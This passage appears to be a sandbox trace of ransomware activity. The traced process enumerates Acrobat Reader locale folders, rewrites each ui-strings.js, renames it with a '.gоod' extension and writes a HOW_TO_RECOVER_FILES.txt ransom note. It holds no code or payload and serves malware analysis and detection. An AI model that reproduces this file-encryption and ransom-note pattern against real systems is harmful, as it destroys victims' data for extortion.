ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.885] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0266.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0266.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0266.886] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0266.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0266.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39780d8 | out: lpFileInformation=0x39780d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482)) returned 1 [0266.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0266.886] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0266.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0266.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0266.887] GetFileType (hFile=0x768) returned 0x1 [0266.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0266.887] GetFileType (hFile=0x768) returned 0x1 [0266.887] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x482 [0266.887] ReadFile (in: hFile=0x768, lpBuffer=0x3978c88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3978c88*, lpNumberOfBytesRead=0x208ebf98*=0x482, lpOverlapped=0x0) returned 1 [0266.888] CloseHandle (hObject=0x768) returned 1 [0266.913] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0266.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0266.913] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0266.914] GetFileType (hFile=0x768) returned 0x1 [0266.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0266.914] GetFileType (hFile=0x768) returned 0x1 [0266.914] WriteFile (in: hFile=0x768, lpBuffer=0x39f1898*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x39f1898*, lpNumberOfBytesWritten=0x208ebea8*=0x490, lpOverlapped=0x0) returned 1 [0266.915] CloseHandle (hObject=0x768) returned 1 [0266.915] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0266.915] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0266.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0266.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9b4d7c01, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0266.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0266.915] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\ui-strings.js.gоod")) returned 1 [0266.919] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0266.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0266.919] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0267.059] GetFileType (hFile=0x834) returned 0x1 [0267.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0267.059] GetFileType (hFile=0x834) returned 0x1 [0267.060] WriteFile (in: hFile=0x834, lpBuffer=0x38d5f20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x38d5f20*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0267.060] CloseHandle (hObject=0x834) returned 1 [0267.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0267.060] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it", lpFilePart=0x0) returned 0x76 [0267.060] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0267.061] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.061] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.061] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.061] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0267.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0267.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0267.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0267.061] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it", lpFilePart=0x0) returned 0x76 [0267.061] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0267.061] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.062] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.062] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.062] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0267.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0267.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0267.062] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0267.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38e5df8 | out: lpFileInformation=0x38e5df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472)) returned 1 [0267.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0267.063] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0267.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0267.063] GetFileType (hFile=0x834) returned 0x1 [0267.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0267.063] GetFileType (hFile=0x834) returned 0x1 [0267.063] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x472 [0267.063] ReadFile (in: hFile=0x834, lpBuffer=0x38e6618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38e6618*, lpNumberOfBytesRead=0x208ebf98*=0x472, lpOverlapped=0x0) returned 1 [0267.064] CloseHandle (hObject=0x834) returned 1 [0267.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0267.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0267.091] GetFileType (hFile=0x834) returned 0x1 [0267.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0267.091] GetFileType (hFile=0x834) returned 0x1 [0267.091] WriteFile (in: hFile=0x834, lpBuffer=0x3960568*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3960568*, lpNumberOfBytesWritten=0x208ebea8*=0x480, lpOverlapped=0x0) returned 1 [0267.091] CloseHandle (hObject=0x834) returned 1 [0267.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0267.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0267.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9b6a180d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0267.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0267.092] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\ui-strings.js.gоod")) returned 1 [0267.093] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0267.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0267.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0267.094] GetFileType (hFile=0x834) returned 0x1 [0267.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0267.094] GetFileType (hFile=0x834) returned 0x1 [0267.094] WriteFile (in: hFile=0x834, lpBuffer=0x3963e68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3963e68*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0267.095] CloseHandle (hObject=0x834) returned 1 [0267.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0267.095] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp", lpFilePart=0x0) returned 0x76 [0267.095] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0267.095] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 